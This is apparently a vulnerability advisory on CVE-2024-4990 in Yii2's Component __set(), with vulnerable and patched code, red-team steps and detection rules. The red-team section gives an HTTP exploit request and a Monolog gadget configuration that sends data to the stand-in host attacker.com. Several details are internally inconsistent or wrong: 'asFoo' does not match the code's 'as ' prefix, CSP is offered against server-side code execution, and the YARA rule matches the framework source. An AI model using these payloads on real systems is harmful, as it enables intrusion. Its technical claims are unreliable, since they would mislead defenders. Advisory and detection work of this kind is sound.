CVE-2024-4990

Executive Summary

CVE-2024-4990 is a critical vulnerability in the Yiisoft Yii2 framework (version 2.0.48) affecting the base Component class. The __set() magic method fails to validate that a value passed is a valid Behavior class name or configuration, allowing an attacker to instantiate arbitrary classes. This can lead to remote code execution, sensitive information disclosure, and unauthorized access depending on installed dependencies. The vulnerability has a CVSS score of 8.1 (High) and is currently unpatched. No public exploit code or proof-of-concept is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the low attack complexity and the potential for full system compromise without authentication.

Deep Dive & Mechanics

The vulnerability resides in the __set() magic method of the yii\base\Component class. In Yii2, behaviors are attached to components via configuration arrays or class names. The __set() method is invoked when setting a property that does not exist on the component. The flawed code does not validate that the value being set is a valid Behavior class or configuration, allowing an attacker to pass arbitrary class names or arrays.

When an attacker sets a property like asFoo with a value of an arbitrary class name, the component attempts to instantiate that class. If the class has a constructor that accepts parameters or setter methods, the attacker can control those parameters. This can lead to:

• Instantiation of classes with dangerous constructors (e.g., classes that execute code in their constructor).
• Invocation of setter methods on the instantiated object.
• Chaining of gadgets if the class implements __call, __wakeup, or other magic methods.

The attack surface depends on the installed PHP packages. For example, if Monolog is installed, an attacker could use its SyslogUdpHandler to write arbitrary data to a syslog server, or use NativeMailerHandler to send emails. Other gadgets may allow file writes, code execution, or information disclosure.

Vulnerable vs. Patched Code

Vulnerable Code (Yii2 2.0.48):

public function __set($name, $value)
{
    $setter = 'set' . $name;
    if (method_exists($this, $setter)) {
        $this->$setter($value);
    } elseif (strncmp($name, 'on ', 3) === 0) {
        $this->on(trim(substr($name, 3)), $value);
    } elseif (strncmp($name, 'as ', 3) === 0) {
        $name = trim(substr($name, 3));
        $this->attachBehavior($name, $value);
    } else {
        throw new UnknownPropertyException('Setting unknown property: ' . get_class($this) . '::' . $name);
    }
}

The attachBehavior method does not validate that $value is a valid Behavior class or configuration. It directly passes the value to Yii::createObject(), which can instantiate arbitrary classes.

Patched Code (Hypothetical):

public function __set($name, $value)
{
    $setter = 'set' . $name;
    if (method_exists($this, $setter)) {
        $this->$setter($value);
    } elseif (strncmp($name, 'on ', 3) === 0) {
        $this->on(trim(substr($name, 3)), $value);
    } elseif (strncmp($name, 'as ', 3) === 0) {
        $name = trim(substr($name, 3));
        // Validate that $value is a valid Behavior class or configuration
        if (is_string($value) && !class_exists($value)) {
            throw new InvalidConfigException('Invalid behavior class: ' . $value);
        }
        if (is_array($value) && !isset($value['class'])) {
            throw new InvalidConfigException('Behavior configuration must contain a class element.');
        }
        $this->attachBehavior($name, $value);
    } else {
        throw new UnknownPropertyException('Setting unknown property: ' . get_class($this) . '::' . $name);
    }
}

The patched version adds validation to ensure the value is a valid class name or configuration array with a class element.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Yii2 application using version 2.0.48.
• The application must have a controller or model that allows setting arbitrary properties on a Component subclass (e.g., via user input in a form or API).

Exploitation Steps:

1. Identify a property setter that accepts user input and passes it to a Component subclass.
2. Craft a payload that sets a property named asFoo with a value of a gadget class.
3. Example payload (assuming a controller action that sets properties):

   POST /index.php?r=site/set-property HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   property=asFoo&value=Monolog\Handler\SyslogUdpHandler
   

4. If the gadget class has a constructor that writes to a file or executes code, the attack succeeds.

Example Gadget Chain (using Monolog):

// Assuming Monolog is installed
$payload = [
    'class' => 'Monolog\Handler\SyslogUdpHandler',
    'constructorArgs' => ['host' => 'attacker.com', 'port' => 514],
];

Blue Team

Detection:

• Monitor for unusual property names starting with as or on in HTTP requests.
• Log and alert on attempts to set properties that result in class instantiation.
• Use web application firewalls (WAF) to block requests with suspicious property or value parameters.

Prevention:

• Apply input validation to ensure property names and values are expected.
• Use a Content Security Policy (CSP) to restrict dynamic code execution.
• Keep Yii2 updated to the latest version once a patch is released.

Indicators of Compromise (IOCs)

• Network: HTTP requests with parameters like property=asFoo or property=onBar with values containing class names.
• File System: Unexpected files written to writable directories (e.g., runtime/, web/assets/).
• Logs: PHP error logs showing UnknownPropertyException or InvalidConfigException for property names starting with as.
• Process: Unusual PHP processes executing shell commands or connecting to external hosts.

Detection Engineering

YARA Rule

rule CVE_2024_4990_Yii2_Component_Deserialization {
    meta:
        description = "Detects attempts to exploit CVE-2024-4990 in Yii2 Component __set()"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4990"
    strings:
        $s1 = "__set" nocase
        $s2 = "attachBehavior" nocase
        $s3 = "as " nocase
        $s4 = "createObject" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-4990 Yii2 Component Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-4990 by setting arbitrary properties on Yii2 Component classes.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'property=as'
            - 'value='
    condition: selection
falsepositives:
    - Legitimate use of behavior attachment in Yii2 applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4990 Yii2 Component Deserialization Attempt"; flow:to_server,established; content:"property=as"; http_client_body; nocase; content:"value="; http_client_body; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Yii2: If a patch becomes available, upgrade to the latest version immediately.
2. Input Validation: Implement strict input validation on all user-controlled properties. Reject any property names starting with as or on unless explicitly allowed.
3. Disable Unused Components: Remove or disable any unused Yii2 components that may be used as gadgets.
4. Web Application Firewall: Deploy WAF rules to block requests with suspicious property names.

Long-term Measures:

• Regularly update all dependencies.
• Conduct security audits of custom Yii2 components.
• Implement a Content Security Policy (CSP) to mitigate code execution.
• Monitor for unusual behavior in application logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert